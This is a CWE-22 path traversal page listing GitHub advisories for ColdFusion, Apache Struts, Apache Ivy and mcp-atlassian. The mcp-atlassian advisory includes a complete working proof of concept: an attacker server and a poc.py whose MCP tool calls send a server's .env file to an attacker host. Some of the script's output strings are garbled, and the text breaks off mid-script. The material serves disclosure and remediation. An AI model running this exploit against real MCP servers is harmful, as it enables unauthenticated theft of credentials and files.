Common Weakness Enumeration

CWE-22

Allowed-with-Review

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Abstraction: Base · Status: Stable

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

15153 vulnerabilities reference this CWE, most recent first.

GHSA-WV74-9RQG-JX46

Vulnerability from github – Published: 2024-12-23 21:30 – Updated: 2024-12-23 21:30
VLAI
Details

ColdFusion versions 2023.11, 2021.17 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access files or directories that are outside of the restricted directory set by the application. This could lead to the disclosure of sensitive information or the manipulation of system data.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-53961"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-23T21:15:05Z",
    "severity": "HIGH"
  },
  "details": "ColdFusion versions 2023.11, 2021.17 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access files or directories that are outside of the restricted directory set by the application. This could lead to the disclosure of sensitive information or the manipulation of system data.",
  "id": "GHSA-wv74-9rqg-jx46",
  "modified": "2024-12-23T21:30:51Z",
  "published": "2024-12-23T21:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53961"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/coldfusion/apsb24-107.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WV7G-XHVW-8HCP

Vulnerability from github – Published: 2022-05-17 05:52 – Updated: 2024-02-09 19:12
VLAI
Summary
Apache Struts directory traversal vulnerability
Details

Multiple directory traversal vulnerabilities in Apache Struts 2.0.x before 2.0.12 and 2.1.x before 2.1.3 allow remote attackers to read arbitrary files via a ..%252f (encoded dot dot slash) in a URI with a /struts/ path, related to (1) FilterDispatcher in 2.0.x and (2) DefaultStaticContentLoader in 2.1.x.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.struts:struts2-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.struts:struts2-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2008-6505"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-09T19:12:25Z",
    "nvd_published_at": "2009-03-23T14:19:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple directory traversal vulnerabilities in Apache Struts 2.0.x before 2.0.12 and 2.1.x before 2.1.3 allow remote attackers to read arbitrary files via a `..%252f` (encoded dot dot slash) in a URI with a /struts/ path, related to (1) FilterDispatcher in 2.0.x and (2) DefaultStaticContentLoader in 2.1.x.",
  "id": "GHSA-wv7g-xhvw-8hcp",
  "modified": "2024-02-09T19:12:25Z",
  "published": "2022-05-17T05:52:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6505"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/struts/commit/04fcefa44bae1263c7cad6986a9dafed67f0164f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/struts/commit/1f1c996eb1f0f3e2193fba0075f62ccd04e3c0c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/struts"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20081208214512/http://secunia.com/advisories/32497"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20111025094319/http://www.securityfocus.com/bid/32104"
    },
    {
      "type": "WEB",
      "url": "http://issues.apache.org/struts/browse/WW-2779"
    },
    {
      "type": "WEB",
      "url": "http://struts.apache.org/2.x/docs/s2-004.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Apache Struts directory traversal vulnerability"
}

GHSA-WV7W-RJ2X-556X

Vulnerability from github – Published: 2022-11-07 19:00 – Updated: 2022-11-10 14:31
VLAI
Summary
Apache Ivy vulnerable to path traversal
Details

When Apache Ivy downloads artifacts from a repository it stores them in the local file system based on a user-supplied "pattern" that may include placeholders for artifacts coordinates like the organisation, module or version. If said coordinates contain "../" sequences - which are valid characters for Ivy coordinates in general - it is possible the artifacts are stored outside of Ivy's local cache or repository or can overwrite different artifacts inside of the local cache. In order to exploit this vulnerability an attacker needs collaboration by the remote repository as Ivy will issue http requests containing ".." sequences and a "normal" repository will not interpret them as part of the artifact coordinates. Users of Apache Ivy versions 2.0.0 to 2.5.1 should upgrade to Ivy 2.5.1.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.ivy:ivy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-37866"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-07T21:54:25Z",
    "nvd_published_at": "2022-11-07T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "When Apache Ivy downloads artifacts from a repository it stores them in the local file system based on a user-supplied \"pattern\" that may include placeholders for artifacts coordinates like the organisation, module or version. If said coordinates contain \"../\" sequences - which are valid characters for Ivy coordinates in general - it is possible the artifacts are stored outside of Ivy\u0027s local cache or repository or can overwrite different artifacts inside of the local cache. In order to exploit this vulnerability an attacker needs collaboration by the remote repository as Ivy will issue http requests containing \"..\" sequences and a \"normal\" repository will not interpret them as part of the artifact coordinates. Users of Apache Ivy versions 2.0.0 to 2.5.1 should upgrade to Ivy 2.5.1.",
  "id": "GHSA-wv7w-rj2x-556x",
  "modified": "2022-11-10T14:31:07Z",
  "published": "2022-11-07T19:00:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37866"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/htxbr8oc464hxrgroftnz3my70whk93b"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YDIFDL5WSBEKBUVKTABUFDDD25SBNJLS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Ivy vulnerable to path traversal"
}

GHSA-WV8V-V4C5-V75J

Vulnerability from github – Published: 2026-09-22 20:34 – Updated: 2026-09-22 20:34
VLAI
Summary
MCP Atlassian: MCP HTTP Client Server-Local File Exfiltration via Unvalidated Attachment Upload Path
Details

Summary

The mcp-atlassian server exposes an MCP tool (confluence_upload_attachment and the Jira attachment variant) that accepts an arbitrary server-side file path and opens it for upload without any path validation. When the server is deployed in HTTP transport mode (streamable-http or sse), a remote, unauthenticated attacker can supply attacker-controlled Atlassian service headers (X-Atlassian-Confluence-Url / X-Atlassian-Confluence-Personal-Token) to redirect the upload to an attacker-controlled endpoint, then pass an arbitrary file_path (e.g. /etc/passwd, ~/.env, SSH private keys, cloud credentials) to exfiltrate any file readable by the server process. No prior account, session token, or Authorization header is required. The vulnerability was confirmed through both static code analysis (Phase 1) and a live Docker-based proof-of-concept (Phase 2).


Details

Data flow (source → sink)

Step Location Role
1 src/mcp_atlassian/servers/main.py:498-504 Middleware extracts X-Atlassian-Confluence-Url and X-Atlassian-Confluence-Personal-Token from incoming HTTP request headers.
2 src/mcp_atlassian/servers/main.py:584-595 When no Authorization header is present but service headers are, user_atlassian_auth_type is set to "pat", effectively bypassing authentication requirements.
3 src/mcp_atlassian/utils/urls.py:97-104 validate_url_for_ssrf blocks only localhost, RFC 1918 private ranges, and a small set of metadata hostnames. An attacker-controlled public domain or an allow-listed Docker container hostname (MCP_ALLOWED_URL_DOMAINS) passes this check.
4 src/mcp_atlassian/servers/dependencies.py:544-545 The attacker-controlled URL is injected directly as url= into ConfluenceConfig, constructing a ConfluenceFetcher pointed at the attacker's server.
5 src/mcp_atlassian/servers/confluence.py:1358-1361 The MCP tool argument file_path is forwarded to confluence_fetcher.upload_attachment() without any sanitization.
6 src/mcp_atlassian/confluence/attachments.py:64-79 The path is converted to an absolute path via os.path.abspath() and checked for existence only. validate_safe_path() — already used on download paths — is never called here, leaving no directory restriction in place.
7 src/mcp_atlassian/confluence/attachments.py:477 Sink: files = {"file": (filename, open(file_path, "rb"))} — the file is opened and sent as multipart to the attacker's server.
8 src/mcp_atlassian/jira/attachments.py:374-386 Parallel Jira sink: same os.path.abspath() pattern, no validate_safe_path, then open(file_path, "rb").

Key code evidence

# src/mcp_atlassian/confluence/attachments.py
64: if not os.path.isabs(file_path):
65:     file_path = os.path.abspath(file_path)
68: if not os.path.exists(file_path):
77: filename = os.path.basename(file_path)
477: files = {"file": (filename, open(file_path, "rb"))}   # ← sink
# src/mcp_atlassian/jira/attachments.py
374: if not os.path.isabs(file_path):
375:     file_path = os.path.abspath(file_path)
386: with open(file_path, "rb") as file:                    # ← sink
387:     attachment = self.jira.add_attachment(

Why validate_safe_path is absent: The function exists in the codebase and is correctly applied to download/read operations, but it was not applied to the upload path. This asymmetry means an attacker can read any file the server process can access, even though the intent was clearly to restrict path access.

Default configuration enables the attack: READ_ONLY_MODE defaults to false, making write tools (including attachment upload) active by default. HTTP transport is a first-class, documented production deployment mode (README, Helm chart, multi-tenant header-auth design).

Recommended remediation

--- a/src/mcp_atlassian/confluence/attachments.py
+++ b/src/mcp_atlassian/confluence/attachments.py
-            if not os.path.isabs(file_path):
-                file_path = os.path.abspath(file_path)
+            file_path = str(validate_safe_path(file_path))
             filename = os.path.basename(file_path)
-            files = {"file": (filename, open(file_path, "rb"))}
+            with open(file_path, "rb") as file_obj:
+                files = {"file": (filename, file_obj)}
+                response = self.confluence._session.put(
+                    url, headers=headers, files=files, data=data
+                )
-            response = self.confluence._session.put(
-                url, headers=headers, files=files, data=data
-            )

--- a/src/mcp_atlassian/jira/attachments.py
+++ b/src/mcp_atlassian/jira/attachments.py
-            if not os.path.isabs(file_path):
-                file_path = os.path.abspath(file_path)
+            file_path = str(validate_safe_path(file_path))

Additional hardening: reject header-based service URLs before fetcher construction using validate_url_for_ssrf with a strict allowlist, and consider defaulting READ_ONLY_MODE=true for remotely reachable deployments.


PoC

Prerequisites

  • Docker (CLI + daemon) available on the attacker machine.
  • Python 3.x with httpx installed (pip install httpx).
  • The mcp-atlassian repository cloned locally (commit d8bc786 or compatible).

Step 1 — Build the victim image

The Dockerfile at vuln-001/Dockerfile builds the mcp-atlassian server and plants a simulated .env file at /home/app/.env containing fake secrets:

SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3
DB_PASSWORD=pr0duct10n_d4tab4se_p4ss
AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY
docker build -t mcp-atlassian-vuln001 \
  -f vuln-001/Dockerfile \
  /path/to/mcp-atlassian-repo

Step 2 — Run the automated PoC script

The poc.py script orchestrates the full attack:

python3 poc.py \
  --repo /path/to/mcp-atlassian-repo \
  --victim-port 18000 \
  --attacker-port 18888

The script performs the following actions automatically:

  1. Creates a Docker network (poc-vuln001-net).
  2. Starts an attacker HTTP server container (poc-vuln001-attacker, port 18888) that mimics a Confluence REST API and records multipart upload bodies.
  3. Starts the victim MCP server container (poc-vuln001-victim, port 18000) with READ_ONLY_MODE=false and MCP_ALLOWED_URL_DOMAINS=poc-vuln001-attacker.
  4. Sends the following MCP JSON-RPC sequence to http://127.0.0.1:18000/mcp:
# Step 4a — initialize (no Authorization header)
headers = {
    "X-Atlassian-Confluence-Url":            "http://poc-vuln001-attacker:8888",
    "X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc",
}
POST /mcp  {"jsonrpc":"2.0","method":"initialize","id":1,
            "params":{"protocolVersion":"2024-11-05","capabilities":{},
                      "clientInfo":{"name":"vuln001-poc","version":"1.0"}}}

# Step 4b — trigger file exfiltration
POST /mcp  {"jsonrpc":"2.0","method":"tools/call","id":3,
            "params":{"name":"confluence_upload_attachment",
                      "arguments":{"content_id":"123",
                                   "file_path":"/home/app/.env"}}}
  1. Queries http://127.0.0.1:18888/exfil and verifies that the attacker server received the file contents.

Expected result

The attacker server logs and /exfil endpoint confirm receipt of the victim file:

[attacker] *** EXFILTRATED FILE CONTENT START ***
SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3
DB_PASSWORD=pr0duct10n_d4tab4se_p4ss
AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY
[attacker] *** EXFILTRATED FILE CONTENT END ***

Phase 2 result: PASS — file exfiltration confirmed via live Docker PoC.


Impact

Vulnerability class: Unauthenticated server-side file exfiltration through an unvalidated path passed to an MCP attachment upload tool, combined with attacker-controlled service URL injection via HTTP request headers.

Who is impacted:

  • Operators running mcp-atlassian in HTTP transport mode (streamable-http or sse) on a network-reachable endpoint with READ_ONLY_MODE=false (the default). This includes multi-tenant SaaS deployments, internal tooling servers exposed to a broader corporate network, and any cloud-hosted instance.
  • Users whose secrets are stored on the server filesystem are at risk of credential theft — .env files, SSH private keys, cloud provider credentials (~/.aws/credentials), kubeconfig files, TLS certificates, and any other file readable by the process.

Constraints on exploitability:

  • The server must be running in HTTP transport mode (not the default stdio mode).
  • READ_ONLY_MODE must not be set to true.
  • The attacker must be able to reach the /mcp endpoint (adjacent network or internet, depending on deployment).
  • The SSRF domain allowlist (MCP_ALLOWED_URL_DOMAINS) must permit the attacker's hostname, or the attacker must control a public domain that passes the IP blocklist check.

Despite these preconditions, all are met in documented production deployment configurations described in the project's own README and Helm chart.


Reproduction artifacts

Dockerfile

# VULN-001 PoC Victim Image
# Build con: mcp-atlassian repo root (use: docker build -f vuln-001/Dockerfile .)
# Builds the mcp-atlassian server and creates a secret file for exfiltration demonstration.

FROM ghcr.io/astral-sh/uv:python3.13-alpine AS builder

WORKDIR /app
ENV UV_COMPILE_BYTECODE=1
ENV UV_LINK_MODE=copy

# Copy dependency files
COPY pyproject.toml README.md uv.lock ./

# Install dependencies (without the project itself to leverage caching)
RUN --mount=type=cache,target=/root/.cache/uv \
 uv sync --frozen --no-install-project --no-dev --no-editable

# Copy source and install the project
COPY src ./src
RUN --mount=type=cache,target=/root/.cache/uv \
 uv sync --frozen --no-dev --no-editable

# Strip bytecode cache to reduce image size
RUN find /app/.venv -name '__pycache__' -type d -exec rm -rf {} + 2>/dev/null || true && \
 find /app/.venv -name '*.pyc' -delete 2>/dev/null || true

# ── Final Stage ──────────────────────────────────────────────────────────────
FROM python:3.13-alpine

# Create non-root user mirroring a typical prod deployment
RUN adduser -D -h /home/app -s /bin/sh app

# Plant a sensitive file that the PoC will exfiltrate
RUN printf 'SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3\n' > /home/app/.env && \
 printf 'DB_PASSWORD=pr0duct10n_d4tab4se_p4ss\n' >> /home/app/.env && \
 printf 'AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY\n' >> /home/app/.env && \
 chown app:app /home/app/.env

WORKDIR /app
USER app

COPY --from=builder --chown=app:app /app/.venv /app/.venv

ENV PATH="/app/.venv/bin:$PATH"
ENV PYTHONUNBUFFERED=1

# Default: streamable-http on 0.0.0.0:8000 (overridable at runtime)
ENTRYPOINT ["mcp-atlassian"]
CMD ["--transport", "streamable-http", "--port", "8000", "--host", "0.0.0.0"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 PoC — MCP HTTP Client: Server-Local File Exfiltration via
Unvalidated Attachment Upload Path (CWE-200, CVSS 7.4)

Attack chain:
  1. Attacker sends X-Atlassian-Confluence-Url / Personal-Token headers — no
     Authorization header required (unauthenticated PAT path, main.py:584-595).
  2. SSRF check passes because MCP_ALLOWED_URL_DOMAINS whitelists the attacker
     container hostname, bypassing DNS validation (urls.py:107-111).
  3. ConfluenceFetcher is constructed with the attacker-controlled URL
     (dependencies.py:544-545).
  4. confluence_upload_attachment is called with file_path=/home/app/.env —
     the path is absolutized but never validated against a safe root
     (attachments.py:64-79).
  5. The file is opened and PUT-ed as multipart to the attacker server
     (attachments.py:477,490).

Usage:
  python3 poc.py [--repo /path/to/repo] [--victim-port 18000]
                 [--attacker-port 18888] [--no-cleanup]

Requirements on the host running this script:
  - docker (CLI + daemon)
  - python3 with httpx (pip install httpx)
"""

import argparse
import json
import os
import subprocess
import sys
import textwrap
import time

# ── constants ──────────────────────────────────────────────────────────────

SCRIPT_DIR      = os.path.dirname(os.path.abspath(__file__))
DEFAULT_REPO    = os.path.join(
    os.path.dirname(SCRIPT_DIR), "repo"
)
DOCKERFILE_PATH = os.path.join(SCRIPT_DIR, "Dockerfile")

NETWORK_NAME     = "poc-vuln001-net"
VICTIM_NAME      = "poc-vuln001-victim"
ATTACKER_NAME    = "poc-vuln001-attacker"
VICTIM_IMAGE     = "mcp-atlassian-vuln001"
ATTACKER_IMAGE   = "python:3.12-slim"

TARGET_FILE      = "/home/app/.env"   # sensitive file planted in the victim image

# ── attacker server source (injected into the attacker container) ──────────

ATTACKER_SERVER_SRC = textwrap.dedent(r"""
import http.server, json, re, sys, threading

_exfil = []   # captured files

class H(http.server.BaseHTTPRequestHandler):
    def log_message(self, fmt, *a):
        print(f"[attacker-http] {fmt % a}", flush=True)

    # Confluence auth probe — return a minimal valid user object
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        if self.path.rstrip("/") == "/exfil":
            self.wfile.write(json.dumps({"files": _exfil}).encode())
        elif self.path.rstrip("/") == "/ready":
            self.wfile.write(b'{"status":"ok"}')
        else:
            self.wfile.write(json.dumps({
                "key": "attacker-user", "displayName": "Attacker",
                "emailAddress": "attacker@evil.example", "active": True,
                "accountType": "atlassian"
            }).encode())

    def do_PUT(self):  self._recv()
    def do_POST(self): self._recv()

    def _recv(self):
        cl = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(cl) if cl else b""
        ct   = self.headers.get("Content-Type", "")
        print(f"[attacker] {self.command} {self.path}  body={len(body)}b  ct={ct}", flush=True)

        file_data = b""
        if "multipart" in ct and body:
            bm = re.search(r"boundary[=\s]+([\w\-]+)", ct)
            if bm:
                boundary = bm.group(1).encode()
                for part in body.split(b"--" + boundary):
                    if b"\r\n\r\n" not in part:
                        continue
                    hdr, _, data = part.partition(b"\r\n\r\n")
                    if b'name="file"' in hdr or b"filename" in hdr:
                        file_data = data.rstrip(b"\r\n--")
                        break

        if file_data:
            text = file_data.decode(errors="replace")
            print("[attacker] *** EXFILTRATED FILE CONTENT START ***", flush=True)
            print(text[:4096], flush=True)
            print("[attacker] *** EXFILTRATED FILE CONTENT END ***", flush=True)
            _exfil.append({"path": self.path, "content": text[:4096], "size": len(file_data)})
        else:
            print("[attacker] WARNING: no file data found in request", flush=True)

        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(json.dumps({
            "results": [{
                "id": "att-001", "type": "attachment", "title": "exfiltrated",
                "metadata": {"mediaType": "text/plain"},
                "extensions": {"fileSize": len(file_data)}
            }]
        }).encode())

server = http.server.HTTPServer(("0.0.0.0", 8888), H)
print("[attacker] listening on 0.0.0.0:8888", flush=True)
sys.stdout.flush()
server.serve_forever()
""").strip()


# ── helpers ────────────────────────────────────────────────────────────────

def run(cmd: str, **kw):
    r = subprocess.run(cmd, shell=True, capture_output=True, text=True, **kw)
    return r.returncode, r.stdout, r.stderr


def run_ok(cmd: str, label: str = "") -> str:
    rc, out, err = run(cmd)
    if rc != 0:
        tag = f" ({label})" if label else ""
        print(f"[FAIL] Command{tag} exited {rc}:\n  cmd: {cmd}\n  stdout: {out}\n  stderr: {err}", file=sys.stderr)
        sys.exit(1)
    return out


def docker_logs(name: str) -> str:
    _, out, err = run(f"docker logs {name} 2>&1")
    return out + err


def wait_http(url: str, timeout: int = 60, interval: float = 1.5) -> bool:
    import urllib.request
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            with urllib.request.urlopen(url, timeout=3) as r:
                if r.status < 500:
                    return True
        except Exception:
            pass
        time.sleep(interval)
    return False


def cleanup(victim_name: str, attacker_name: str, network: str):
    run(f"docker rm -f {victim_name} {attacker_name} 2>/dev/null")
    run(f"docker network rm {network} 2>/dev/null")


def parse_sse_result(text: str) -> dict | None:
    """Extract the first JSON-RPC result from an SSE or plain-JSON body."""
    for line in text.splitlines():
        line = line.strip()
        if line.startswith("data:"):
            payload = line[5:].strip()
        elif line.startswith("{"):
            payload = line
        else:
            continue
        try:
            obj = json.loads(payload)
            if "result" in obj or "error" in obj:
                return obj
        except json.JSONDecodeError:
            continue
    return None


# ── MCP client (pure stdlib + httpx) ──────────────────────────────────────

def mcp_exploit(victim_url: str, attacker_container_url: str, target_file: str) -> dict:
    """
    Drive the MCP streamable-http protocol to call confluence_upload_attachment
    with an arbitrary file_path.
    Returns a dict with keys: success, session_id, response_text, error.
    """
    import httpx

    service_headers = {
        "X-Atlassian-Confluence-Url":            attacker_container_url,
        "X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc",
    }
    base_headers = {
        **service_headers,
        "Content-Type":  "application/json",
        "Accept":        "application/json, text/event-stream",
    }

    with httpx.Client(timeout=30) as client:
        # ── 1. initialize ──────────────────────────────────────────────
        print(f"[poc] Sending initialize to {victim_url}")
        resp = client.post(victim_url, headers=base_headers, json={
            "jsonrpc": "2.0", "method": "initialize", "id": 1,
            "params": {
                "protocolVersion": "2024-11-05",
                "capabilities": {},
                "clientInfo": {"name": "vuln001-poc", "version": "1.0"},
            }
        })
        if resp.status_code not in (200, 201):
            return {"success": False, "error": f"initialize failed: HTTP {resp.status_code}\n{resp.text[:400]}"}

        session_id = resp.headers.get("mcp-session-id") or resp.headers.get("Mcp-Session-Id")
        print(f"[poc] Session-Id: {session_id}")

        session_headers = {**base_headers}
        if session_id:
            session_headers["Mcp-Session-Id"] = session_id

        # ── 2. notifications/initialized ──────────────────────────────
        client.post(victim_url, headers=session_headers, json={
            "jsonrpc": "2.0", "method": "notifications/initialized"
        })

        # ── 3. tools/list (optional, just for visibility) ─────────────
        try:
            tl = client.post(victim_url, headers=session_headers, json={
                "jsonrpc": "2.0", "method": "tools/list", "id": 2, "params": {}
            })
            tools_obj = parse_sse_result(tl.text) or {}
            if "result" in tools_obj:
                names = [t["name"] for t in tools_obj["result"].get("tools", [])]
                print(f"[poc] Tools available: {names}")
                if "confluence_upload_attachment" not in names:
                    print("[poc] WARNING: confluence_upload_attachment not in tools/list "
                          "(will still attempt tools/call)")
        except Exception as e:
            print(f"[poc] tools/list skipped: {e}")

        # ── 4. tools/call ─────────────────────────────────────────────
        print(f"[poc] Calling confluence_upload_attachment  file_path={target_file}")
        resp2 = client.post(victim_url, headers=session_headers, json={
            "jsonrpc": "2.0", "method": "tools/call", "id": 3,
            "params": {
                "name": "confluence_upload_attachment",
                "arguments": {
                    "content_id": "123",
                    "file_path": target_file,
                }
            }
        }, timeout=30)

        return {
            "success": True,
            "session_id": session_id,
            "status_code": resp2.status_code,
            "response_text": resp2.text[:2000],
            "error": None,
        }


# ── main ──────────────────────────────────────────────────────────────────

def main():
    ap = argparse.ArgumentParser(description="VULN-001 PoC runner")
    ap.add_argument("--repo",          default=DEFAULT_REPO)
    ap.add_argument("--victim-port",   type=int, default=18000)
    ap.add_argument("--attacker-port", type=int, default=18888)
    ap.add_argument("--no-cleanup",    action="store_true")
    args = ap.parse_args()

    repo_path     = os.path.abspath(args.repo)
    victim_port   = args.victim_port
    attacker_port = args.attacker_port

    print("=" * 60)
    print("VULN-001 PoC — MCP File Exfiltration via Attachment Upload")
    print("=" * 60)
    print(f"Repo:          {repo_path}")
    print(f"Dockerfile:    {DOCKERFILE_PATH}")
    print(f"Victim port:   {victim_port}")
    print(f"Attacker port: {attacker_port}")
    print()

    # ── 0. pre-flight ─────────────────────────────────────────────────
    cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME)

    # ── 1. build victim image ─────────────────────────────────────────
    print("[*] Building victim image (this may take a few minutes)...")
    rc, out, err = run(
        f"docker build --no-cache -t {VICTIM_IMAGE} "
        f"-f {DOCKERFILE_PATH} {repo_path}"
    )
    if rc != 0:
        print(f"[FAIL] docker build failed:\n{err[-3000:]}", file=sys.stderr)
        sys.exit(1)
    print(f"[+] Victim image built: {VICTIM_IMAGE}")

    # ── 2. create network ─────────────────────────────────────────────
    print("[*] Creating Docker network...")
    run_ok(f"docker network create {NETWORK_NAME}", "network create")
    print(f"[+] Network created: {NETWORK_NAME}")

    try:
        # ── 3. start attacker container ────────────────────────────────
        print("[*] Starting attacker HTTP server...")
        attacker_code_escaped = ATTACKER_SERVER_SRC.replace("'", "'\"'\"'")
        run_ok(
            f"docker run -d "
            f"--network {NETWORK_NAME} "
            f"--name {ATTACKER_NAME} "
            f"-p {attacker_port}:8888 "
            f"{ATTACKER_IMAGE} "
            f"python3 -c '{attacker_code_escaped}'",
            "start attacker"
        )

        if not wait_http(f"http://127.0.0.1:{attacker_port}/ready", timeout=30):
            print("[FAIL] Attacker server did not start in time")
            print(docker_logs(ATTACKER_NAME))
            sys.exit(1)
        print(f"[+] Attacker server ready on port {attacker_port}")

        # ── 4. start victim container ──────────────────────────────────
        print("[*] Starting victim MCP server...")
        run_ok(
            f"docker run -d "
            f"--network {NETWORK_NAME} "
            f"--name {VICTIM_NAME} "
            f"-p {victim_port}:8000 "
            f"-e TRANSPORT=streamable-http "
            f"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} "
            f"-e READ_ONLY_MODE=false "
            f"-e MCP_LOGGING_STDOUT=true "
            f"-e MCP_VERBOSE=true "
            f"{VICTIM_IMAGE} "
            f"--transport streamable-http --port 8000 --host 0.0.0.0",
            "start victim"
        )

        print("[*] Waiting for victim MCP server to be ready...")
        if not wait_http(f"http://127.0.0.1:{victim_port}/healthz", timeout=60):
            print("[FAIL] Victim server did not start in time")
            print(docker_logs(VICTIM_NAME))
            sys.exit(1)
        print(f"[+] Victim MCP server ready on port {victim_port}")

        # ── 5. run the exploit ─────────────────────────────────────────
        print()
        print("[*] Launching MCP exploit...")
        victim_mcp_url        = f"http://127.0.0.1:{victim_port}/mcp"
        attacker_container_url = f"http://{ATTACKER_NAME}:8888"

        result = mcp_exploit(victim_mcp_url, attacker_container_url, TARGET_FILE)

        if not result["success"]:
            print(f"[FAIL] MCP exploit error: {result['error']}")
            print("Victim logs:\n", docker_logs(VICTIM_NAME)[-2000:])
            sys.exit(1)

        print(f"[poc] tools/call HTTP {result['status_code']}")
        print(f"[poc] Response:\n{result['response_text']}")

        # ── 6. verify exfiltration ─────────────────────────────────────
        time.sleep(2)

        import urllib.request
        with urllib.request.urlopen(
            f"http://127.0.0.1:{attacker_port}/exfil", timeout=5
        ) as r:
            exfil_data = json.loads(r.read())

        attacker_raw_logs = docker_logs(ATTACKER_NAME)
        print()
        print("Attacker server logs:")
        print(attacker_raw_logs[-4000:])

        files = exfil_data.get("files", [])
        confirmed = bool(files) or (
            "EXFILTRATED FILE CONTENT" in attacker_raw_logs
            and "SECRET_DEPLOY_KEY" in attacker_raw_logs
        )

        evidence_snippet = ""
        if files:
            evidence_snippet = files[0].get("content", "")[:500]
        elif "EXFILTRATED FILE CONTENT START" in attacker_raw_logs:
            start = attacker_raw_logs.find("EXFILTRATED FILE CONTENT START") + len("EXFILTRATED FILE CONTENT START") + 4
            end   = attacker_raw_logs.find("EXFILTRATED FILE CONTENT END", start)
            evidence_snippet = attacker_raw_logs[start:end].strip()[:500]

        print()
        if confirmed:
            print("[PASS] file leak confirmed — attacker servertext victim containertext sensitive filetext receivedtext.")
            print(f"[PASS] Evidence snippet:\n{evidence_snippet}")
        else:
            print("[FAIL] file leak evidencetext checktext text.")
            print("attacker_logs:", attacker_raw_logs[-1000:])

        # ── 7. write phase2_result.json ────────────────────────────────
        phase2 = {
            "passed": confirmed,
            "verdict": "PASS" if confirmed else "FAIL",
            "reason": (
                "MCP HTTP clienttext X-Atlassian-Confluence-Url / Personal-Token headeronlyas "
                "without authentication ConfluenceFetchertext createtext, confluence_upload_attachment tooltext "
                "file_path=/home/app/.envtext path verification text open() and attacker servertext senddone. "
                "attachments.py:477 open(file_path,'rb')text sensitive filetext text multipart PUT requesttext containsdone."
                if confirmed else
                "attacker servertext file receivedtext checktext could not — logtext referenceand failure cause text required."
            ),
            "build_command": (
                f"docker build -t {VICTIM_IMAGE} "
                f"-f {DOCKERFILE_PATH} {repo_path}"
            ),
            "run_command": (
                f"docker network create {NETWORK_NAME} && "
                f"docker run -d --network {NETWORK_NAME} --name {ATTACKER_NAME} "
